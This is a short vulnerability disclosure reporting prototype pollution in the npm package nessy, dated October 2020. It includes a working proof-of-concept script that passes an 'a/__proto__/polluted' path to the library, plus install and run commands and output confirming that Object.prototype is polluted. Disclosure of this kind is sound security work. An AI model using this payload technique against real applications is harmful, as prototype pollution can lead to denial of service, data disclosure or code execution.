Prototype Pollution in coderaiser/nessy


Reported on

Oct 23rd 2020


nessy is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var nessy = require("nessy")
var obj = {}
console.log("Before : " + {}.polluted);
nessy('a/__proto__/polluted', "Yes! Its Polluted", '/', obj);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i nessy # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted


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